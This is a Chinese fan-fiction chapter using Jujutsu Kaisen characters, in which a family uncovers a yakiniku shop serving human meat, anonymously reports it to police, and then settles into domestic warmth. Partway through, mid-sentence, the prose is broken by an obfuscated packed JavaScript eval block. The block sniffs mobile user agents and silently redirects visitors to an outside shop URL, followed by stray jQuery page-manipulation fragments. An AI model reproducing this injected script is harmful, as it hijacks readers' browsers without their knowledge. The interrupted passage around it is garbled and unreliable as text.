悠在超市采购时。
“真的，你们一定要去尝尝‘油脂亭’的烤肉！”收银台前，一位中年主妇正兴奋地向排队的顾客推荐，“我丈夫上周带我们去过之后，现在天天念叨着要去！”
“我家也是！”旁边另一位顾客附和，“我儿子从来不爱吃肉，结果去了一次，连着三天都吵着要去。那肉的味道……怎么说呢，就是跟别家不一样。”
悠拎着购物篮，不动声色地听着。
这已经是她这周第五次听到“油脂亭”这个名字了。
这家新开的烤肉店仿佛一夜之间风靡了整个街区，每个人都在谈论它，每个人的语气里都带着一种近乎狂热的推崇。
太不正常了。
结账后，悠提着购物袋走出超市，正好遇到下班的吉野风。
“小悠！”吉野风笑着招手，“你也来采购？对了，你听说了吗？商业街新开了家烤肉店，叫‘油脂亭’，听说特别好吃！我同事们都说要去，咱们周末也去尝尝？”
悠心里奇怪，真有这么好吃，“风姐也听说了啊。不过最近天热，吃烤肉会不会有点腻？”
“不会不会！”吉野风摇头，“听说他们家的肉一点都不腻，特别香。而且价格也不贵。顺平最近学习辛苦，我想带他去吃点好的。”
悠点点头。
不过，她有种不好的预感——那种所有人都像着了魔一样推荐同一家店的感觉。
回到家，七海还没下班。
悠把食材放进冰箱，坐在沙发上发了一会儿呆。
窗外的蝉鸣声震耳欲聋，空气热得像是凝固的油脂。
四点半，顺平放学回来了。
他一进门，悠就闻到一股淡淡的、奇异的香气。
“顺平，你身上什么味道？”
顺平一愣，抬起手臂闻了闻：“啊……可能是路过商业街的时候沾上的。那家新开的烤肉饭油脂亭今天好像在做促销，门口在烤肉试吃，排队的人特别多。”
“你去吃了吗？”
“没有。”顺平摇头，“但是香气飘得整条街都是。那味道……”他犹豫了一下，“确实很香，香得让人有点……不舒服。”
悠敏锐地捕捉到这个词：“不舒服？”
“嗯。”顺平放下书包，“就是太香了，香得不自然。而且排队的人……表情都有点怪，眼睛直勾勾地盯着烤盘，像是……像是被什么东西迷住了一样。”
说完，悠和顺平双目对视，眼中都是对于人们着魔状态的奇怪，两个人开始讨论最近听到这家店的传闻。
周六晚上，吉野风还是订到了油脂亭的位子。
“好不容易才抢到的！”她兴奋地对悠和七海还有顺平说，“听说要提前一周预约，正好有人取消，我就赶紧订了。咱们一家人好好去吃一顿！”
顺平朝悠和七海疯狂眨眼睛。
七海推了推眼镜：“吉野女士，其实……”
“风姐。”吉野风纠正，“都说多少次了，叫风姐就好。”
“风姐。”七海从善如流，“我最近胃不太舒服，吃烤肉可能……”
“哎呀，那更要吃点好的补补！”吉野风不由分说，“他们家也有清淡的菜品。就这么定了，今晚七点！”
看着吉野风高兴的样子，悠和七海都不忍心再拒绝，顺平无奈的挠挠头。
况且，他们也确实想亲眼看看这家店到底有什么蹊跷。
油脂亭位于商业街深处，门面不大，装修是普通的日式风格。
但门口排队的客人一直延伸到巷口，每个人脸上都带着期待的神色。
“这么多人……”顺平小声说。
吉野风报上预约名字后，服务生领他们进去。
店里座无虚席，空气中弥漫着浓郁的烤肉香气——那是一种混合了油脂焦香、秘制酱料和某种深层腥甜的气味。
悠一进门，就感觉不太对劲。
她眨了眨眼，调整了一下视线——然后看到了。
每一桌客人身上，都延伸出细细的、油腻的“线”，这些线像蛛网一样在空中交织，最终都汇聚向后厨的方向。
线的颜色是浑浊的黄色，像是凝固的脂肪。
更让她心惊的是，当服务生端上他们点的招牌拼盘时，她看到了肉上面的线。
那些肉片纹理细腻，脂肪分布均匀得像雪花，色泽鲜红诱人。
但在悠的眼中，每一片肉上都延伸出粗壮的、蠕动的线，这些线穿透墙壁，直接连向后厨的垃圾桶。
那不是动物的线。
那是人类的线。
悠的手在桌子下轻轻碰了碰七海。
七海看向她，悠用眼神示意了一下肉盘，嘴巴贴近他的耳朵。
“老公！这是人肉！！！”
闻言，七海立马拿起夹子，夹起盘子里的肉，眼睛微微眯起。
其他桌的肉在铁板上滋滋作响，脂肪融化，香气四溢。
吉野风深吸一口气：“哇，真的好香！”
顺平却皱起了眉。
他也闻到了那股香气，但不知为何，胃里有些翻涌。
肉的纹理清晰。
他看了几秒，然后推了推眼镜，声音平静地说：“这家店肉的纹理……有点特别。”
“是吧是吧！”吉野风没察觉异常，“听说他们家用的都是特选肉源。”
七海放下筷子，转头对吉野风说：“风姐，我突然想起一件事。公司下周一有个重要会议，我有些资料还没准备完。抱歉，我们可能得先回去了。”
吉野风一愣：“啊？可是菜都点了……”
“我们打包回去再说。”七海站起身，同时看向悠，“悠，你胃不是也不舒服吗？要不陪我一起回去？顺便去药店买点药。”
悠立刻会意：“啊，对，我差点忘了。风姐，真不好意思……感觉肚子好痛。”
“没事没事。”吉野风有点懵的看着悠看起来非常夸张的表演说，“那还是赶紧去买药。那顺平我们一起走？”
顺平看了看七海，又看了看悠。他敏锐地察觉到气氛不对，于是说：“妈妈，我同意，我作业还没写完，明天要交。所以要不……咱们打包？”
吉野风看看这个，看看那个，终于叹了口气：“好吧好吧，真是服了你们了，你们一个个的…到底瞒着我什么呢…那服务员，麻烦帮我们打包。”
走出油脂亭，热浪扑面而来。
吉野风还在惋惜：“多好的肉啊，趁热吃才好吃……”
“风姐。”七海忽然开口，“这家店，以后还是别来了。”
吉野风一愣：“为什么？”
七海没有直接回答，而是说：“肉的味道太香了，香得不正常。而且我观察了一下，大部分客人都是回头客，这不符合餐饮业的正常规律。”
“可能就是因为好吃啊。”
“好吃到让人每天来？”悠接话，“风姐，你想想，如果你吃到一家特别好吃的店，你会推荐给别人，但你自己会每天都想去吗？”
吉野风想了想，摇头：“那倒不会……再好吃也会腻。”
“可是你看那些客人。”悠回头看了一眼油脂亭的窗户，里面的人影在热气中扭曲，“他们看起来……不像是会腻的样子。”
顺平小声说：“像是上瘾了。”
这个词让吉野风打了个寒颤。
七海的主动拎着打包盒，在路过电话亭时临时打了个电话，出来的时候‘一个不小心’把盒子掉到地上，肉摔了出来。
然后七海和顺平捡起来扔进了垃圾桶。
一路上，吉野风越想越不对劲。
督促顺平先回家去洗澡，她跟着悠和七海上了六楼。
“那肉……真的有问题？”吉野风直接问。
悠犹豫了一下，点了点头：“七海说，那肉的纹理……不像动物肉。”
吉野风脸色一白：“不、不像动物肉，那像什么？”
七海推了推眼镜，声音冷静得近乎残酷：“从肌肉纤维的走向和脂肪分布来看，更接近人类肌肉组织的结构。”
吉野风捂住嘴，差点吐出来。
“当然，这只是我的个人判断。”七海补充道，“我不是法医，不能百分之百确定。但结合这家店的异常现象——所有人像着了魔一样推荐、客人几乎都是回头客、以及肉香到不自然的程度——我认为有必要报警。”
“报警……”吉野风喃喃道。
“匿名报警。”七海说，“就说怀疑他们在肉里添加了非法添加剂，导致客人成瘾。顺便提一句，曾目击后厨有可疑的类似人体的物品。这样警方就会介入调查。”
悠握住吉野风的手：“风姐，这件事咱们就当不知道。以后也千万别再去了。”
吉野风用力点头，手还在抖：“我、我说你俩怎么怪怪的！”
等她下楼后，悠靠在七海肩上，轻声说：“那些线……都连向后厨的垃圾桶。很粗，很油腻，肯定是人类才有的线。我没敢读线里面的记忆。”
七海搂住她的肩：“肉上面的纹理。切割方式和处理手法……都是专业的人体解剖手法。”
两人沉默了一会儿。
窗外的蝉鸣声不知何时停了，夜晚安静得可怕。
“七海。”悠忽然说，“这种事件发生的频率是不是太高了？”
七海没有马上回答。
他想起咒术高专的日子，想起那些与咒灵战斗的夜晚，想起五条悟总是笑嘻嘻地说“娜娜明，你太严肃啦”。
“还好。”七海最终说，“不过属于正常范围，以前在咒术界的时候比现在接触的还要频繁。”
他拿起手机，又重新编辑了一份匿名报警邮件。
语气冷静客观，列出可疑点：异常的人流量、客人近乎成瘾的表现、肉质纹理的疑点、以及“偶然目击后厨有可疑大型包裹”。
发送。
悠靠在他肩上，看着他操作手机。
屏幕的光映在他的眼镜片上，反射出冷冽的光。
“老公。”
“嗯？”
“你认真做事的样子，好帅。”
七海手指顿了顿，耳朵微微泛红：“……别说这种话。”
“为什么？我说的是事实啊。”悠笑了，凑过去亲了亲他的脸颊，“我老公就是很帅嘛。”
七海轻咳一声，把手机放到一边：“早点休息吧。明天……应该会有消息。”
第二天，油脂亭没有开门。
商业街开始流传各种小道消息。
悠去便利店买牛奶时，听到店员和顾客在议论。
“听说了吗？油脂亭被警察查封了！”
“真的假的？为什么？”
“好像是因为……肉有问题。”店员压低声音，“我听隔壁店的老板说，昨天半夜来了好多警车，从后厨搬出来好几个大袋子，用黑色的裹尸袋装着……”
顾客倒吸一口凉气：“不会吧？难道真的是……”
“嘘！别乱说，等官方通报。”
但传闻还是像野火一样蔓延。
到了下午，已经有多个版本的故事在街头流传。
版本一：油脂亭使用劣质过期肉，添加非法添加剂让肉质变嫩变香，客人吃了会上瘾。
版本二：老板是变态杀人狂，专门杀害流浪汉，用人肉做烤肉。
版本三：老板自己就是个“食人魔”，从自己身上割肉来烤——这个版本的支持者信誓旦旦地说，看到老板总是穿着长袖，手臂上缠满绷带。
顺平放学回来，也带回了学校的传闻。
“有人说，油脂亭的老板被逮捕时，整个人胖得不正常，脸上全是油光，而且……”顺平顿了顿，“据说警察打开他家冰箱时，发现里面全是装油脂的罐子。他自己也喝油。”
悠胃里一阵翻涌。
“还有更恶心的。”顺平小声说，“听说老板背上长满了脓包，每个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154082|196498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脓包挤出来的都是黄色的油。警察逮捕他时，他还在后厨喝一锅熬出来的油……”
“别说了。”吉野风脸色苍白，“太恶心了。”
七海下班回来时，带回了相对准确的消息。
他在证券公司听到的——有同事的亲戚在警局工作，透露了一些内部信息。
“确实是刑事案件。”七海摘下领带，“老板涉嫌谋杀和毁坏尸体。受害者的身份还在确认，但至少有三人。经营烤肉店只是幌子，真正目的是……处理尸体。”
客厅里一片寂静。
“那、那些客人吃的……”吉野风声音发抖。
“大部分肉应该还是正常的。”七海说，“但掺杂了一部分……‘特殊肉’。据老板供述，他会在普通肉里掺入少量，这样客人就会上瘾，不断回来。”
悠想起那些油腻的、连接着肉的线。
她剪断了它们——在肉被端上桌之前，她悄悄用手指在空中划了几下，那些线就断了。
但已经吃过的人呢？
她看向顺平。
少年的脸色也不太好，但眼神还算镇定。
“顺平，你没事吧？”悠问。
顺平摇摇头：“小姨，我没事。而且……”他犹豫了一下，“我把它写进故事里了。”
顺平拿出了他的笔记本。
最新一页上，他写了一篇短篇小说的开头：
《油脂》
街角新开的烤肉店，一夜之间风靡了整个街区。
每个人都说着同样的话：“你一定要去尝尝，那肉的味道，简直不像人间该有的美味。”
小拓被朋友拉去，吃下第一口肉时，他感受到了前所未有的满足感。
但当晚，他做了一个梦——梦见自己在一片油脂的海洋里沉浮，那些油脂钻进他的毛孔，从他的嘴里、鼻子里、耳朵里涌出来……
他惊醒，发现自己真的在流汗。汗水油腻腻的，带着烤肉的香气。
悠看完，轻声说：“写得很好。那种逐渐被吞噬的感觉，很真实。”
顺平眼睛亮了亮：“真的吗？”
“真的。”悠认真地说，“而且你抓住了恐怖的精髓——不是突然的惊吓，而是日常中的逐渐异化。烤肉店是日常，美味的肉是日常，但就是这种日常，慢慢变成了噩梦。”
七海也接过笔记本看了看。
他读得很慢，很仔细。
顺平紧张地攥着衣角。
读完，七海充满笑意地推了推眼镜。
“开头的悬念设置得不错。”他客观地评价，“用‘不像人间该有的美味’来暗示异常，比直接描写更有效。”
顺平屏住呼吸。
“但是，”七海话锋一转，“主人公的心理转变可以再细腻一些。从‘享受’到‘怀疑’再到‘恐惧’，这个过程的描写可以更层次分明。”
“是。”顺平认真点头。
七海顿了顿，又说：“不过，氛围营造得很出色。尤其是梦境的描写，很有画面感。”
这已经是相当高的评价了。顺平的眼睛彻底亮了起来：“谢谢姨夫！”
“继续努力。”七海把笔记本还给他，“对了，数学作业写完了吗？”
“写完了。”
“拿来我检查一下。”
“是！”
看着顺平跑回房间拿作业的背影，悠忍不住笑了。
她凑到七海身边，小声说：“七海海，你其实很会夸人嘛。”
七海耳朵又红了：“我只是实话实说。”
“实话实说也是夸啊。”悠靠在他肩上，“而且顺平真的很开心。你知道吗，他以前几乎不笑，现在虽然还是害羞，但眼睛里已经有光了。”
七海沉默了一会儿，轻声说：“他很像你。”
“像我？”
“嗯。”七海看向窗外渐沉的夕阳，“温柔，敏感，但内在很坚韧。而且……”他顿了顿，“都想用自己的方式，去理解和表达这个世界。”
悠心里一暖，握住了七海的手。
他们的手交叠在一起，无名指上的婚戒在夕阳余晖中泛着温柔的光。
油脂亭事件渐渐平息。
警方发布了正式通报，确认老板涉嫌多起谋杀，店铺被永久关闭。
商业街恢复了往日的平静，只是偶尔还会有人提起那家“神奇”的烤肉店，语气里带着后怕和庆幸。
生活继续。
吉野风再也不敢随便尝试新店了，但她开始学着自己做烤肉。
周末，她会买上好的牛肉，在六楼的阳台上架起小烤炉，四个人围坐在一起，吃着安全的、自己烤的肉。
“还是这样好。”吉野风一边翻动着肉片一边说，“干净，放心。”
顺平帮忙摆盘子，悠调蘸料，七海负责控制火候——他做事严谨，烤出来的肉总是恰到好处，外焦里嫩。
“妹夫，你这手艺可以开店了。”吉野风开玩笑。
七海推了推眼镜：“开店太麻烦。这样就好。”
悠笑着夹起一块肉，蘸了蘸自己特调的酱料，喂到七海嘴边：“来～老公尝尝我的新配方。”
七海张嘴吃了，咀嚼几下，点头：“咸淡合适。不过辣椒可以再少一点，对胃不好。”
“知道啦，健康管理师先生。”悠吐了吐舌头。
顺平看着他们自然而亲昵的互动，嘴角不自觉地上扬。
他想起以前，妈妈总是加班到很晚，他一个人在家吃便利店便当。
现在，周末的晚餐总是热闹的，有笑声，有食物的香气，有家的温度。
饭后，七海收拾餐具，顺平帮忙。
悠和吉野风在阳台乘凉。
夏夜的风终于凉爽了些，吹散了白天的燥热。
“七海海。”悠朝着屋里喊道。
“嗯？”
“哎呀！就是想叫你嘛。”
“哎呀！小悠你俩简直要腻倒牙了。”